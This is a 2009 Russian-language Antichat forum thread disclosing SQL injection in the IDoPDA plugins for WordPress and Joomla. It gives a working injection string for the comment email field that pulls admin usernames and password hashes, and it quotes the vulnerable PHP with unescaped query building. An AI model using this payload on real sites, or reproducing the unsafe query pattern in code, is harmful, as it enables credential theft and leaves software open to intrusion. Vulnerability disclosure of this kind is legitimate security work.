ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

IDoPDA for WordPress
  #1  
Старый 01.03.2009, 07:53
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию IDoPDA for WordPress

IDoPDA WordPress
Офф. сайт: http://idopda.ru/

Настройки хранятся в .inc файле: cfg.inc
no comments ..

SQL-INJ
Уязвимый скрипт: index.php
Зависимость: magic_quotes = off
Запрос: Добавляем коментарий ( http://pda.wp.localhost/?comment=1 )
email = a',0,0,0,0,(select concat_ws(0x3a,user_login,user_pass) from ##users limit 0,1),0,0,0,0,0,0) --
Уязвимый кусок кода:
PHP код:
// index.php
if (isset($_POST["addcomment"])) {
    
fn_AddC($_POST);
    unset(
$_POST);
}

// functions.inc
function fn_AddC($post) {
// Добавление комментария
    
$add = array();
    
// Проверка имени
    
if (isset($post["Name"])) {
        if (
strlen(trim($post["Name"]))==0) die("c~~~Name");
        
$post["Name"] = strip_tags($post["Name"]);
    }
    else die(
"c~~~Name");
    
// Проверка электронной почты
    // Албанцы отдыхают ..
    
if (isset($post["Email"])) {
        if (
strlen(trim($post["Email"]))==0) die("c~~~");
        if (
preg_match "/^[-\w.]+@([A-z0-9][-A-z0-9]+\.)+[A-z]{2,4}$/"$post["Email"]))  die("c~~~Email");
    }
    else die(
"c~~~Email");
    
// Проверка текста
    // А вот тут я прикола не понял ... уязвимость будет работать, если эту строку поправят ..
    // Впрочем если поправят и проверку мыла - то скуля будет в теле коментария.
    
if (!isset($post["Content"])) {
        if (
strlen(trim($post["Content"]))==0) die("c~~~Content");
        
$post["Content"] = strip_tags($post["Content"]);
    }
    else die(
"c~~~Content");
    
// Проврека кода
    
if (isset($post["Secret"])) {
        if ((
strlen(trim($post["Secret"]))==0) or ($post["Secret"]!==$_SESSION["key"])) die("c~~~Secret");
    }
    else die(
"c~~~Secret");
    unset(
$_SESSION["key"]);
    
$add["comment_author"] = $post["Name"];
    
$add["comment_author_email"] = $post["Email"];
    
$add["comment_content"] = $post["Content"];
    
$add["comment_author_url"] = $post["Name"];
    
$add["comment_post_ID"] = (int)$post["Post"];
    
$add["comment_author_IP"] = $_SERVER["REMOTE_ADDR"];
    
$add["comment_date"] = date("Y-m-d H:i:s");
    
$add["comment_date_gmt"] = gmdate("Y-m-d H:i:s");
    
$sql "INSERT INTO `##comments` ( `comment_ID` , `comment_post_ID` , `comment_author` , `comment_author_email` , `comment_author_url` , `comment_author_IP` , `comment_date` , `comment_date_gmt` , `comment_content` , `comment_karma` , `comment_approved` , `comment_agent` , `comment_type` , `comment_parent` , `user_id` )
            VALUES ('', '"
.$add["comment_post_ID"]."', '".$add["comment_author"]."', '".$add["comment_author_email"]."', '".$add["comment_author_url"]."', '".$add["comment_author_IP"]."', '".$add["comment_date"]."', '".$add["comment_date_gmt"]."', '".$add["comment_content"]."', '0', '0', '', '', '0', '0');";
    
$sql str_replace("##",_PREFIX,$sql);
    
$result mysql_query($sql) or die(mysql_error());
    
header("Location: ?comment=".$post["Post"]);

В IDoPDA Joomla так же присутствует скуль, но я раскрутить не смог ..
PHP код:
function getFArticle($id,$link) {
// Функция возвращает полный текст для вывода материала
// id - индекс материала
// link - часть ссылки

   // Запрос к бд
   
$sql "SELECT co.`title` AS title,concat(co.`introtext`,co.`fulltext`) AS text,ca.`title` AS category,se.`title` AS section,us.`name` AS author
           FROM `##content` AS co,`##categories` AS ca,`##sections` AS se,`##users` AS us
           WHERE co.`id` = '"
.$id."'
           AND co.`state` = '1'
           AND ca.`id` = co.`catid`
           AND se.`id` = co.`sectionid`
           AND us.`id` = co.`created_by`
           ORDER BY co.`created` DESC"
;
   
$sql str_replace("##",_PREFIX,$sql); 

Последний раз редактировалось BlackSun; 01.03.2009 в 08:12..
 
Ответить с цитированием

  #2  
Старый 01.03.2009, 15:34
chekist
Reservists Of Antichat - Level 6
Регистрация: 14.11.2007
Сообщений: 177
Провел на форуме:
1246854

Репутация: 622
По умолчанию


PHP код:
    if (isset($post["Email"])) { 
        if (
strlen(trim($post["Email"]))==0) die("c~~~"); 
        if (
preg_match "/^[-\w.]+@([A-z0-9][-A-z0-9]+\.)+[A-z]{2,4}$/"$post["Email"]))  die("c~~~Email"); 
    } 
    else die(
"c~~~Email"); 
это ещё и работает ?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ